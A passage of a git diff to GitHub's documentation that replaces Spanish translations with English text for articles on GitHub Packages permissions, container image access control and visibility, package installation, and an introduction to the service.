cambiar el control de accesos y la visibilidad del paquete de forma separada desde un repositorio que esté conectado (o enlazado) a un paquete. +Packages with granular permissions are scoped to a personal user or organization account. You can change the access control and visibility of the package separately from a repository that is connected (or linked) to a package. -Actualmente, solo el {% data variables.product.prodname_container_registry %} ofrece permisos granulares para tus paquetes de imagen de contenedor. +Currently, only the {% data variables.product.prodname_container_registry %} offers granular permissions for your container image packages. -## Permisos de visibilidad y acceso para las imágenes de contenedor +## Visibility and access permissions for container images {% data reusables.package_registry.visibility-and-access-permissions %} -Para obtener más información, consulta la sección "[Configurar el control de accesos y la visibilidad de un paquete](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)". +For more information, see "[Configuring a package's access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)." {% endif %} -## Administrar paquetes +## About scopes and permissions for package registries -Para utilizar o administrar un paquete que hospede un registro de paquete, debes utilizar un token con el alcance adecuado y tu cuenta de usuario debe tener los permisos adecuados. +To use or manage a package hosted by a package registry, you must use a token with the appropriate scope, and your user account must have appropriate permissions. -Por ejemplo: -- Para descargar e instalar los paquetes desde un repositorio, tu token debe tener el alcance de `read:packages` y tu cuenta de usuario debe tener permisos de lectura. -- {% ifversion fpt or ghes > 3.0 or ghec %}Para borrar un paquete en {% data variables.product.product_name %}, tu token deberá tener por lo menos los alcances de `delete:packages` y `read:packages`. El alcance de `repo` también se requiere para los paquetes con dicho alcance.{% elsif ghes < 3.1 %}Para borrar una versión específica de un paquete privado en {% data variables.product.product_name %}, tu token debe tener el alcance `delete:packages` y `repo`. Public packages cannot be deleted.{% elsif ghae %}To delete a specified version of a package on {% data variables.product.product_name %}, your token must have the `delete:packages` and `repo` scope.{% endif %} For more information, see "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}." +For example: +- To download and install packages from a repository, your token must have the `read:packages` scope, and your user account must have read permission. +- {% ifversion fpt or ghes > 3.0 or ghec %}To delete a package on {% data variables.product.product_name %}, your token must at least have the `delete:packages` and `read:packages` scope. The `repo` scope is also required for repo-scoped packages.{% elsif ghes < 3.1 %}To delete a specified version of a private package on {% data variables.product.product_name %}, your token must have the `delete:packages` and `repo` scope. Public packages cannot be deleted.{% elsif ghae %}To delete a specified version of a package on {% data variables.product.product_name %}, your token must have the `delete:packages` and `repo` scope.{% endif %} For more information, see "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}." -| Ámbito | Descripción | Permiso requerido | -| -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------ | ----------------- | -| `read:packages` | Descarga e instala paquetes de {% data variables.product.prodname_registry %} | lectura | -| `write:packages` | Carga y publica paquetes en {% data variables.product.prodname_registry %} | escritura | -| `delete:packages` | | | -| {% ifversion fpt or ghes > 3.0 or ghec %} Delete packages from {% data variables.product.prodname_registry %} {% elsif ghes < 3.1 %} Delete specified versions of private packages from {% data variables.product.prodname_registry %}{% elsif ghae %} Delete specified versions of packages from {% data variables.product.prodname_registry %} {% endif %} | | | -| admin | | | -| `repo` | Carga y borra los paquetes (junto con los `write:packages`, o los `delete:packages`) | escritura o admin | +| Scope | Description | Required permission | +| --- | --- | --- | +|`read:packages`| Download and install packages from {% data variables.product.prodname_registry %} | read | +|`write:packages`| Upload and publish packages to {% data variables.product.prodname_registry %} | write | +| `delete:packages` | {% ifversion fpt or ghes > 3.0 or ghec %} Delete packages from {% data variables.product.prodname_registry %} {% elsif ghes < 3.1 %} Delete specified versions of private packages from {% data variables.product.prodname_registry %}{% elsif ghae %} Delete specified versions of packages from {% data variables.product.prodname_registry %} {% endif %} | admin | +| `repo` | Upload and delete packages (along with `write:packages`, or `delete:packages`) | write or admin | -Cuando creas un flujo de trabajo de {% data variables.product.prodname_actions %}, puedes usar el `GITHUB_TOKEN` para publicar e instalar paquetes en {% data variables.product.prodname_registry %} sin la necesidad de almacenar y administrar un token de acceso personal. +When you create a {% data variables.product.prodname_actions %} workflow, you can use the `GITHUB_TOKEN` to publish and install packages in {% data variables.product.prodname_registry %} without needing to store and manage a personal access token. For more information, see:{% ifversion fpt or ghec %} -- "[Configurar el control de accesos y la visibilidad de un paquete](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)"{% endif %} -- "[Publicar e instalar un paquete con {% data variables.product.prodname_actions %}](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions)" -- "[Crear un token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token/)" -- Tu paquete publicado contiene datos confidenciales, como violaciones del RGPD, claves de API o información de identificación personal +- "[Configuring a package’s access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)"{% endif %} +- "[Publishing and installing a package with {% data variables.product.prodname_actions %}](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions)" +- "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token/)" +- "[Available scopes](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)" -## Mantener el acceso a los paquetes en los flujos de trabajo de {% data variables.product.prodname_actions %} +## Maintaining access to packages in {% data variables.product.prodname_actions %} workflows -Para garantizar que tus flujos de trabajo mantendrán el acceso a tus paquetes, asegúrate de que estás utilizando el token de acceso correcto en tu flujo de trabajo y de haber habilitado el acceso a las {% data variables.product.prodname_actions %} para tu paquete. +To ensure your workflows will maintain access to your packages, ensure that you're using the right access token in your workflow and that you've enabled {% data variables.product.prodname_actions %} access to your package. -Para ver un antecedente más conceptual en {% data variables.product.prodname_actions %} o encontrar ejemplos de uso de paquetes en los flujos de trabajo, consulta la sección "[Administrar los Paquetes de GitHub utilizando flujos de trabajo de Github Actions](/packages/managing-github-packages-using-github-actions-workflows)". +For more conceptual background on {% data variables.product.prodname_actions %} or examples of using packages in workflows, see "[Managing GitHub Packages using GitHub Actions workflows](/packages/managing-github-packages-using-github-actions-workflows)." -### Tokens de acceso +### Access tokens -- Para publicar paquetes asociados con el repositorio del flujo de trabajo, utiliza un `GITHUB_TOKEN`. -- Para instalar paquetes asociados con otros repositorios privados a los cuales no puede acceder el `GITHUB_TOKEN`, utiliza un token de acceso personal +- To publish packages associated with the workflow repository, use `GITHUB_TOKEN`. +- To install packages associated with other private repositories that `GITHUB_TOKEN` can't access, use a personal access token -Para obtener más información sobre el `GITHUB_TOKEN` que se utiliza en los flujos de trabajo de {% data variables.product.prodname_actions %}, consulta la sección "[Autenticarse en un flujo de trabajo](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)". +For more information about `GITHUB_TOKEN` used in {% data variables.product.prodname_actions %} workflows, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)." {% ifversion fpt or ghec %} -### Acceso a las {% data variables.product.prodname_actions %} para las imágenes de contenedor +### {% data variables.product.prodname_actions %} access for container images -Para garantizar que tus flujos de trabajo tienen acceso a tu imagen de contenedor, debes habilitar el acceso a las {% data variables.product.prodname_actions %} para los repositorios en donde se ejecuta tu flujo de trabajo. Puedes encontrar este ajuste en la página de configuración de tu paquete. Para obtener más información, consulta la sección "[Garantizar el acceso de los flujos de trabajo a tu paquete](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)". +To ensure your workflows have access to your container image, you must enable {% data variables.product.prodname_actions %} access to the repositories where your workflow is run. You can find this setting on your package's settings page. For more information, see "[Ensuring workflow access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)." {% endif %} diff --git a/translations/es-ES/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md b/translations/es-ES/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md index 1e2f73830a..8b051b2888 100644 --- a/translations/es-ES/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md +++ b/translations/es-ES/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md @@ -1,6 +1,6 @@ --- -title: Configurar la visibilidad y el control de accesos de un paquete -intro: 'Elige quién ha leído, escrito, o administrado el acceso a tu imagen de contenedor y la visibilidad de tus imágenes de contenedor en {% data variables.product.prodname_dotcom %}.' +title: Configuring a package's access control and visibility +intro: 'Choose who has read, write, or admin access to your container image and the visibility of your container images on {% data variables.product.prodname_dotcom %}.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /packages/managing-container-images-with-github-container-registry/configuring-access-control-and-visibility-for-container-images @@ -8,83 +8,94 @@ redirect_from: versions: fpt: '*' ghec: '*' -shortTitle: Visibilidad & control de accesos +shortTitle: Access control & visibility --- -Los paquetes con permisos granulares tienen un alcance de una cuenta personal o de organización. Puedes cambiar la visibilidad y el control de accesos de un paquete por separado desde el repositorio al cual está conectado (o enlazado). +Packages with granular permissions are scoped to a personal user or organization account. You can change the access control and visibility of a package separately from the repository that it is connected (or linked) to. -Actualmente, solo puedes utilizar permisos granulares con el {% data variables.product.prodname_container_registry %}. Los permisos granulares no son compatibles en nuestros otros registros de paquetes, tales como el registro de npm. +Currently, you can only use granular permissions with the {% data variables.product.prodname_container_registry %}. Granular permissions are not supported in our other package registries, such as the npm registry. -Para obtener más información sobre los permisos de los paquetes con alcance de repositorio, los alcances relacionados con paquetes para los PAT o para administrar permisos para los flujos de trabajo de tus acciones, consulta la sección "[Acerca de los permisos para los Paquetes de GitHub](/packages/learn-github-packages/about-permissions-for-github-packages)". +For more information about permissions for repository-scoped packages, packages-related scopes for PATs, or managing permissions for your actions workflows, see "[About permissions for GitHub Packages](/packages/learn-github-packages/about-permissions-for-github-packages)." -## Permisos de visibilidad y acceso para las imágenes de contenedor +## Visibility and access permissions for container images {% data reusables.package_registry.visibility-and-access-permissions %} -## Configurar el acceso a las imágenes de contenedor para tu cuenta personal +## Configuring access to container images for your personal account -Si tienes permisos administrativos en una imagen de contenedor que pertenece a una cuenta de usuario, puedes asignar roles de lectura, escritura o administrador a otros usuarios. Para obtener más información acerca de estos roles de permisos, consulta la sección "[Permisos de visibilidad y acceso para las imágenes de contenedor](#visibility-and-access-permissions-for-container-images)". +If you have admin permissions to a container image that's owned by a user account, you can assign read, write, or admin roles to other users. For more information about these permission roles, see "[Visibility and access permissions for container images](#visibility-and-access-permissions-for-container-images)." -Si tu paquete es privado o interno y le pertenece a una organización, entonces solo puedes darles acceso a otros miembros o equipos de la misma. +If your package is private or internal and owned by an organization, then you can only give access to other organization members or teams. {% data reusables.package_registry.package-settings-from-user-level %} -1. En la página de configuración del paquete, da clic en **Invitar equipos o personas** e ingresa el nombre real, nombre de usuario, o dirección de correo electrónico de la persona a la que quieras dar acceso. No se puede otorgar acceso a los equipos para aquellas imágenes de contenedor que pertenezcan a una cuenta de usuario. ![Botón de invitación para el acceso al contenedor](/assets/images/help/package-registry/container-access-invite.png) -1. Junto al equipo o nombre de usuario, utiliza el menú desplegable de "Rol" para seleccionar un nivel de permisos que desees. ![Opciones de acceso al contenedor](/assets/images/help/package-registry/container-access-control-options.png) +1. On the package settings page, click **Invite teams or people** and enter the name, username, or email of the person you want to give access. Teams cannot be given access to a container image owned by a user account. + ![Container access invite button](/assets/images/help/package-registry/container-access-invite.png) +1. Next to the username or team name, use the "Role" drop-down menu to select a desired permission level. + ![Container access options](/assets/images/help/package-registry/container-access-control-options.png) -Se otorgará acceso automáticamente a los usuarios seleccionados y no necesitarán aceptar una invitación previamente. +The selected users will automatically be given access and don't need to accept an invitation first. -## Configurar el acceso a las imágenes de contenedor para una organización +## Configuring access to container images for an organization -Si tienes permisos administrativos en una imágen de contenedor que pertenezca a una organización, puedes asignar roles de lectura, escritura o administración a otros usuarios y equipos. Para obtener más información acerca de estos roles de permisos, consulta la sección "[Permisos de visibilidad y acceso para las imágenes de contenedor](#visibility-and-access-permissions-for-container-images)". +If you have admin permissions to an organization-owned container image, you can assign read, write, or admin roles to other users and teams. For more information about these permission roles, see "[Visibility and access permissions for container images](#visibility-and-access-permissions-for-container-images)." -Si tu paquete es privado o interno y le pertenece a una organización, entonces solo puedes darles acceso a otros miembros o equipos de la misma. +If your package is private or internal and owned by an organization, then you can only give access to other organization members or teams. {% data reusables.package_registry.package-settings-from-org-level %} -1. En la página de configuración del paquete, da clic en **Invitar equipos o personas** e ingresa el nombre real, nombre de usuario, o dirección de correo electrónico de la persona a la que quieras dar acceso. También puedes ingresar un nombre de equipo desde la organización para otorgar acceso a todos los miembros de éste. ![Botón de invitación para el acceso al contenedor](/assets/images/help/package-registry/container-access-invite.png) -1. Junto al equipo o nombre de usuario, utiliza el menú desplegable de "Rol" para seleccionar un nivel de permisos que desees. ![Opciones de acceso al contenedor](/assets/images/help/package-registry/container-access-control-options.png) +1. On the package settings page, click **Invite teams or people** and enter the name, username, or email of the person you want to give access. You can also enter a team name from the organization to give all team members access. + ![Container access invite button](/assets/images/help/package-registry/container-access-invite.png) +1. Next to the username or team name, use the "Role" drop-down menu to select a desired permission level. + ![Container access options](/assets/images/help/package-registry/container-access-control-options.png) -Se otorgará acceso automáticamente a los usuarios o equipos seleccionados y no necesitarán aceptar una invitación previamente. +The selected users or teams will automatically be given access and don't need to accept an invitation first. -## Heredar el acceso a una imagen de contenedor desde un repositorio +## Inheriting access for a container image from a repository -Para simplificar la administración de paquetes a través de los flujos de trabajo de {% data variables.product.prodname_actions %}, puedes habilitar a una imagen de contenedor para que herede los permisos de acceso de un repositorio predeterminadamente. +To simplify package management through {% data variables.product.prodname_actions %} workflows, you can enable a container image to inherit the access permissions of a repository by default. -Si heredas los permisos de acceso del repositorio en donde se almacenan los flujos de trabajo de tu paquete, entonces puedes ajustar el acceso al mismo a través de los permisos del repositorio. +If you inherit the access permissions of the repository where your package's workflows are stored, then you can adjust access to your package through the repository's permissions. -Una vez que el repositorio se sincronice, no podrás acceder a la configuración de acceso granular del paquete. Para personalizar los permisos de paquete a través de la configuración de acceso granular del paquete, primero debes sincronizar el repositorio. +Once a repository is synced, you can't access the package's granular access settings. To customize the package's permissions through the granular package access settings, you must remove the synced repository first. {% data reusables.package_registry.package-settings-from-org-level %} -2. Debajo de "Fuente del repositorio", selecciona **Heredar el acceso del repositorio (recomendado)**. ![Casilla de verificación de heredar el acceso del repositorio](/assets/images/help/package-registry/inherit-repo-access-for-package.png) +2. Under "Repository source", select **Inherit access from repository (recommended)**. + ![Inherit repo access checkbox](/assets/images/help/package-registry/inherit-repo-access-for-package.png) -## Garantizar el acceso al flujo de trabajo para tu paquete +## Ensuring workflow access to your package -Para garantizar que el flujo de trabajo de {% data variables.product.prodname_actions %} tiene acceso a tu paquete, debes otorgar acceso explícito al repositorio en donde se almacena el flujo de trabajo. +To ensure that a {% data variables.product.prodname_actions %} workflow has access to your package, you must give explicit access to the repository where the workflow is stored. -El repositorio especificado no necesita ser aquél en donde se mantiene el código fuente del paquete. Puedes dar acceso de flujo de trabajo a un paquete para varios repositorios. +The specified repository does not need to be the repository where the source code for the package is kept. You can give multiple repositories workflow access to a package. {% note %} -**Nota:** El sincronizar tu imagen de contenedor con un repositorio mediante la opción de menú **Acceso a las acciones** es diferente que conectar tu contenedor a un repositorio. Para obtener más información sobre cómo enlazar un repositorio a tu contenedor, consulta la sección "[Conectar un repositorio a un paquete](/packages/learn-github-packages/connecting-a-repository-to-a-package)". +**Note:** Syncing your container image with a repository through the **Actions access** menu option is different than connecting your container to a repository. For more information about linking a repository to your container, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)." {% endnote %} -### Acceso de {% data variables.product.prodname_actions %} para las imágenes de contenedor que pertenecen a cuentas de usuario +### {% data variables.product.prodname_actions %} access for user-account-owned container images {% data reusables.package_registry.package-settings-from-user-level %} -1. En la barra lateral izquierda, haz clic en **Acceso a las acciones**. ![Opción "Acceso a las acciones" en el menú izquierdo](/assets/images/help/package-registry/organization-repo-access-for-a-package.png) -2. Para garantizar que tu flujo de trabajo tiene acceso a tu paquete de contenedor, debes agregar el repositorio en donde se almacena el flujo de trabajo. Haz clic en **Agregar repositorio** y busca el repositorio que quieres agregar. ![Botón "Agregar repositorio"](/assets/images/help/package-registry/add-repository-button.png) -3. Utilizando el menú desplegable de "rol", selecciona el nivel de acceso predeterminado que te gustaría que tuviera el repositorio en tu imagen de contenedor. ![Niveles de acceso de permisos para otorgar a los repositorios](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png) +1. In the left sidebar, click **Actions access**. + !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png) +2. To ensure your workflow has access to your container package, you must add the repository where the workflow is stored. Click **Add repository** and search for the repository you want to add. + !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png) +3. Using the "role" drop-down menu, select the default access level that you'd like the repository to have to your container image. + ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png) -Para personalizar aún más el acceso a tu imagen de contenedor, consulta la sección "[Configurar el acceso a las imágenes de contenedor para tu cuenta personal](#configuring-access-to-container-images-for-your-personal-account)". +To further customize access to your container image, see "[Configuring access to container images for your personal account](#configuring-access-to-container-images-for-your-personal-account)." -### Acceso a las {% data variables.product.prodname_actions %} para las imágenes de contenedor que pertenezcan a organizaciones +### {% data variables.product.prodname_actions %} access for organization-owned container images {% data reusables.package_registry.package-settings-from-org-level %} -1. En la barra lateral izquierda, haz clic en **Acceso a las acciones**. ![Opción "Acceso a las acciones" en el menú izquierdo](/assets/images/help/package-registry/organization-repo-access-for-a-package.png) -2. Haz clic en **Agregar repositorio** y busca el repositorio que quieres agregar. ![Botón "Agregar repositorio"](/assets/images/help/package-registry/add-repository-button.png) -3. Selecciona el nivel de acceso predeterminado que te gustaría que tuvieran los miembros del repositorio en tu imagen de contenedor utilizando el menú desplegable de "rol". No se incluirá a los colaboradores externos. ![Niveles de acceso de permisos para otorgar a los repositorios](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png) +1. In the left sidebar, click **Actions access**. + !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png) +2. Click **Add repository** and search for the repository you want to add. + !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png) +3. Using the "role" drop-down menu, select the default access level that you'd like repository members to have to your container image. Outside collaborators will not be included. + ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png) -Para personalizar aún más el acceso a tu imagen de contenedor, consulta la sección "[Configurar el acceso a las imágenes de contenedor de una organización](#configuring-access-to-container-images-for-an-organization)". +To further customize access to your container image, see "[Configuring access to container images for an organization](#configuring-access-to-container-images-for-an-organization)." ## Ensuring {% data variables.product.prodname_codespaces %} access to your package @@ -92,68 +103,71 @@ By default, a codespace can seamlessly access certain packages in the {% data va Otherwise, to ensure that a codespace has access to your package, you must grant access to the repository where the codespace is being launched. -El repositorio especificado no necesita ser aquél en donde se mantiene el código fuente del paquete. You can give codespaces in multiple repositories access to a package. +The specified repository does not need to be the repository where the source code for the package is kept. You can give codespaces in multiple repositories access to a package. Once you've selected the package you're interested in sharing with codespaces in a repository, you can grant that repo access. 1. In the right sidebar, click **Package settings**. !["Package settings" option in right menu](/assets/images/help/package-registry/package-settings.png) - + 2. Under "Manage Codespaces access", click **Add repository**. - ![Botón "Agregar repositorio"](/assets/images/help/package-registry/manage-codespaces-access-blank.png) + !["Add repository" button](/assets/images/help/package-registry/manage-codespaces-access-blank.png) 3. Search for the repository you want to add. - ![Botón "Agregar repositorio"](/assets/images/help/package-registry/manage-codespaces-access-search.png) - + !["Add repository" button](/assets/images/help/package-registry/manage-codespaces-access-search.png) + 4. Repeat for any additional repositories you would like to allow access. 5. If the codespaces for a repository no longer need access to an image, you can remove access. !["Remove repository" button](/assets/images/help/package-registry/manage-codespaces-access-item.png) -## Configurar la visibilidad de las imágenes de contenedor para tu cuenta personal +## Configuring visibility of container images for your personal account -Cuando publicas un paquete por primera vez, la visibilidad predeterminada es privada y solo tú puedes verlo. Puedes modificar el acceso a las imágenes de contenedor públicas si cambias la configuración de acceso. +When you first publish a package, the default visibility is private and only you can see the package. You can modify a private or public container image's access by changing the access settings. -Se puede acceder anónimamente a un paquete público sin autenticación. Una vez que hagas tu paquete público, no puedes hacerlo privado nuevamente. +A public package can be accessed anonymously without authentication. Once you make your package public, you cannot make your package private again. {% data reusables.package_registry.package-settings-from-user-level %} -5. Debajo de "Zona de peligro", elige una configuración de visibilidad: - - Para que la imagen del contenedor sea visible para todos, da clic en **Hacer público**. +5. Under "Danger Zone", choose a visibility setting: + - To make the container image visible to anyone, click **Make public**. {% warning %} - **Advertencia:** Una vez que hagas público algún paquete no podrás volverlo a hacer privado. + **Warning:** Once you make a package public, you cannot make it private again. {% endwarning %} - - Para hacer la la imagen de contenedor sea visible para una selección personalizada de individuos, da clic en **Hacer privada**. ![Opciones de visibilidad del contenedor](/assets/images/help/package-registry/container-visibility-option.png) + - To make the container image visible to a custom selection of people, click **Make private**. + ![Container visibility options](/assets/images/help/package-registry/container-visibility-option.png) -## Visibilidad de creación de un contenedor para los miembros de una organización +## Container creation visibility for organization members -Puedes elegir la visibilidad de los contenedores que los miembros de las organizaciones pueden publicar predeterminadamente. +You can choose the visibility of containers that organization members can publish by default. {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} -4. A la izquierda, da clic en **Paquetes**. -6. Debajo de "Creación de contenedores", elige si quieres habilitar la creación de imágenes de contenedor públicas, privadas o internas. - - Para habilitar a los miembros de la organización para que creen imágenes de contenedor, da clic en **Públicas**. - - Para habilitar a los miembros de la organización para que creen imágenes de contenedor que solo sean visibles para otros miembros de la organización, da clic en **Privadas**. Puedes personalizar aún más la visibilidad de las imagenes de contenedor privadas. - - **Únicamente para {% data variables.product.prodname_ghe_cloud %}:** Para habilitar a los miembros de la organización para que creen imágenes de contenedor internas que solo puedan ver otros miembros organizacionales, haz clic en **Interna**. ![Opciones de visibilidad para las imágenes de contenedor que publican los miembros de la organización](/assets/images/help/package-registry/container-creation-org-settings.png) +4. On the left, click **Packages**. +6. Under "Container creation", choose whether you want to enable the creation of public, private, or internal container images. + - To enable organization members to create public container images, click **Public**. + - To enable organization members to create private container images that are only visible to other organization members, click **Private**. You can further customize the visibility of private container images. + - **For {% data variables.product.prodname_ghe_cloud %} only:** To enable organization members to create internal container images that are only visible to other organization members, click **Internal**. + ![Visibility options for container images published by organization members](/assets/images/help/package-registry/container-creation-org-settings.png) -## Configurar la visibilidad de las imágenes de contenedor para una organización +## Configuring visibility of container images for an organization -Cuando publicas un paquete por primera vez, la visibilidad predeterminada es privada y solo tú puedes verlo. Puedes otorgar roles de acceso diferentes a los usuarios o equipos para tu imagen de contenedor a través de la configuración de acceso. +When you first publish a package, the default visibility is private and only you can see the package. You can grant users or teams different access roles for your container image through the access settings. -Se puede acceder anónimamente a un paquete público sin autenticación. Una vez que hagas tu paquete público, no puedes hacerlo privado nuevamente. +A public package can be accessed anonymously without authentication. Once you make your package public, you cannot make your package private again. {% data reusables.package_registry.package-settings-from-org-level %} -5. Debajo de "Zona de peligro", elige una configuración de visibilidad: - - Para que la imagen del contenedor sea visible para todos, da clic en **Hacer público**. +5. Under "Danger Zone", choose a visibility setting: + - To make the container image visible to anyone, click **Make public**. {% warning %} - **Advertencia:** Una vez que hagas público algún paquete no podrás volverlo a hacer privado. + **Warning:** Once you make a package public, you cannot make it private again. {% endwarning %} - - Para hacer la la imagen de contenedor sea visible para una selección personalizada de individuos, da clic en **Hacer privada**. ![Opciones de visibilidad del contenedor](/assets/images/help/package-registry/container-visibility-option.png) + - To make the container image visible to a custom selection of people, click **Make private**. + ![Container visibility options](/assets/images/help/package-registry/container-visibility-option.png) diff --git a/translations/es-ES/content/packages/learn-github-packages/installing-a-package.md b/translations/es-ES/content/packages/learn-github-packages/installing-a-package.md index d7d86da84f..a3523e6ab3 100644 --- a/translations/es-ES/content/packages/learn-github-packages/installing-a-package.md +++ b/translations/es-ES/content/packages/learn-github-packages/installing-a-package.md @@ -1,6 +1,6 @@ --- -title: Instalar un paquete -intro: 'Puedes instalar un paquete desde {% data variables.product.prodname_registry %} y usar el paquete como dependencia en tu propio proyecto.' +title: Installing a package +intro: 'You can install a package from {% data variables.product.prodname_registry %} and use the package as a dependency in your own project.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /github/managing-packages-with-github-packages/installing-a-package @@ -17,17 +17,17 @@ versions: {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -## Acerca de la instalación del paquete +## About package installation -You can search on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} to find packages in {% data variables.product.prodname_registry %} that you can install in your own project. Para obtener más información, consulta "[Buscar {% data variables.product.prodname_registry %} para paquetes](/search-github/searching-on-github/searching-for-packages)". +You can search on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} to find packages in {% data variables.product.prodname_registry %} that you can install in your own project. For more information, see "[Searching {% data variables.product.prodname_registry %} for packages](/search-github/searching-on-github/searching-for-packages)." -Una vez que encuentres un paquete, puedes leer las instrucciones de la descripción y la instalación y el uso del paquete en la página del paquete. +After you find a package, you can read the package's description and installation and usage instructions on the package page. -## Instalar un paquete +## Installing a package -Puedes instalar un paquete del {% data variables.product.prodname_registry %} si utilizas cualquier {% ifversion fpt or ghae or ghec %}cliente de paquetes compatible{% else %}tipo de paquete habilitado en tu instancia{% endif %} siguiendo los mismos lineamientos generales. +You can install a package from {% data variables.product.prodname_registry %} using any {% ifversion fpt or ghae or ghec %}supported package client{% else %}package type enabled for your instance{% endif %} by following the same general guidelines. -1. Autenticar para {% data variables.product.prodname_registry %} usando las instrucciones para tu cliente de paquete. Para obtener más información, consulta la sección "[Autenticarse en los Paquetes de GitHub](/packages/learn-github-packages/introduction-to-github-packages#authenticating-to-github-packages)". -2. Instala el paquete usando las instrucciones para tu cliente de paquete. +1. Authenticate to {% data variables.product.prodname_registry %} using the instructions for your package client. For more information, see "[Authenticating to GitHub Packages](/packages/learn-github-packages/introduction-to-github-packages#authenticating-to-github-packages)." +2. Install the package using the instructions for your package client. -Para obtener instrucciones específicas para tu cliente de paquetes, consulta la sección "[Trabajar con un registro del {% data variables.product.prodname_registry %}](/packages/working-with-a-github-packages-registry)". +For instructions specific to your package client, see "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)." diff --git a/translations/es-ES/content/packages/learn-github-packages/introduction-to-github-packages.md b/translations/es-ES/content/packages/learn-github-packages/introduction-to-github-packages.md index 643cebb44d..63268fe2a2 100644 --- a/translations/es-ES/content/packages/learn-github-packages/introduction-to-github-packages.md +++ b/translations/es-ES/content/packages/learn-github-packages/introduction-to-github-packages.md @@ -1,6 +1,6 @@ --- -title: Introducción a los Paquetes de GitHub -intro: '{% data variables.product.prodname_registry %} es un paquete de software que hospeda el servicio que te permite hospedar tus paquetes de software de forma privada {% ifversion ghae %} para los usuarios específicos o internamente para tu empresa{% else %}o públicamente{% endif %} y utiliza los paquetes como dependencias en tus proyectos.' +title: Introduction to GitHub Packages +intro: '{% data variables.product.prodname_registry %} is a software package hosting service that allows you to host your software packages privately {% ifversion ghae %} for specified users or internally for your enterprise{% else %}or publicly{% endif %} and use packages as dependencies in your projects.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/about-github-package-registry @@ -15,121 +15,119 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: Introducción +shortTitle: Introduction --- {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -## Acerca de {% data variables.product.prodname_registry %} +## About {% data variables.product.prodname_registry %} -{% data variables.product.prodname_registry %} es un servicio de alojamiento de paquetes, totalmente integrado con {% data variables.product.prodname_dotcom %}. {% data variables.product.prodname_registry %} combina tu código fuente y paquetes en un solo lugar para proporcionar una administración de permisos {% ifversion not ghae %}y facturación {% endif %}integradas, para que puedas centralizar tu desarrollo de software en {% data variables.product.product_name %}. +{% data variables.product.prodname_registry %} is a platform for hosting and managing packages, including containers and other dependencies. {% data variables.product.prodname_registry %} combines your source code and packages in one place to provide integrated permissions management{% ifversion not ghae %} and billing{% endif %}, so you can centralize your software development on {% data variables.product.product_name %}. You can integrate {% data variables.product.prodname_registry %} with {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs, {% data variables.product.prodname_actions %}, and webhooks to create an end-to-end DevOps workflow that includes your code, CI, and deployment solutions. -El {% data variables.product.prodname_registry %} ofrece diversos registros de paquetes para los adminsitradores de paquetes que se utilizan comunmente, tales como npm, RubyGems, Apache Maven, Gradle, Docker, y NuGet. {% ifversion fpt or ghec %}El {% data variables.product.prodname_container_registry %} de {% data variables.product.prodname_dotcom %} se optimiza para los contenedores y es compatible con imágenes de Docker y OCI.{% endif %} Para obtener más información sobre los diferentes registros de paquete que son compatibles con el {% data variables.product.prodname_registry %}, consulta la sección "[Trabajar con un registro del {% data variables.product.prodname_registry %}](/packages/working-with-a-github-packages-registry)". +{% data variables.product.prodname_registry %} offers different package registries for commonly used package managers, such as npm, RubyGems, Apache Maven, Gradle, Docker, and NuGet. {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}'s {% data variables.product.prodname_container_registry %} is optimized for containers and supports Docker and OCI images.{% endif %} For more information on the different package registries that {% data variables.product.prodname_registry 